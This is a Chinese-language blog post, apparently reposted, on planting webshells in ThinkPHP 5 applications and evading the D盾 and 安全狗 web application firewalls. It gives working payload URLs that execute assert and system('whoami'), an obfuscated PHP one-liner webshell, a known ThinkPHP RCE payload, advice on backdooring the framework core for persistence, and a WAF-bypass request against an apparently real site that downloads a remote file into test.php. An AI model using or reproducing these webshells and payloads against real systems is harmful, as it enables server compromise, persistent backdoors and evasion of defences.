thinkphp下的Webshell&&php過D盾一句話


 

環境:

  Thinkphp 5.0.15

  PHP version:7.0.12

  WAF: D盾 ,安全狗

  Thinkphp 采用 MVC 模式  核心:模塊 -> 控制器 –> 方法

思路:利用已經有的think 類包庫 去做一些事情

 

利用已有的功能,順便對D盾 繞過 

方法:

Payload1:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

 

Payload2:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

 

代碼:

<?php
namespace app\index\controller;
use \think\App;
class index
{
   public function index($f,$shell)
   {
       $a=new App();
       $c=$a->invokeFunction($f,$shell);
       return '</br> sucess';

   }
}

關於用這個的來源:

 Thinkphp5 rce 漏洞 其中一個payload  是這樣的

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞原因:默認沒有開啟強制路由,路由控制不嚴謹,可以執行自己需要的類庫

在think 類庫中找到自己需要的功能,進行觸發調用

 

先貼一個不需要thinkphp 環境下 過D盾 和安全狗的 馬

 <?php
function invokeFunction($function, $vars = [])
{
    $reflect = new ReflectionFunction($function);

    return $reflect->invokeArgs($vars);
}

$function='a'.'ssert';
$vars=$_GET[1];

invokeFunction($function,$vars);


?>

 

 

還有一種思路,創建類或者函數,進行包含繞過,有興趣的可以自己試一下。、

 

 

然后對於thinkphp 權限維持的思路,因為本身內核存在RCE, -這里假設打了補丁的RCE 被某洞獲得到權限

演示以thinkphp 最新版本 5.0.24

 

在Think\app.php 文件內,把! 刪掉 就可以繼續RCE 了 (只是提供一種維持思路)

后來想了下,這樣對整個站點都不安全了,不適合維持。可以在前面在加一段IF 開關條件  符合就不執行preg_math 這一段,對RCE的漏洞入口進行一個管理操作~

就可以繼續任意執行了

 

tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。  在模板調用的時候 有任意文件包含漏洞,可以自己寫一個,當作后門。

 

附贈:

關於thinkphp rce  繞WAF or 寶塔

 

這里用了寶塔做測試:

http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

 

思路:繞敏感函數,和正則匹配

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM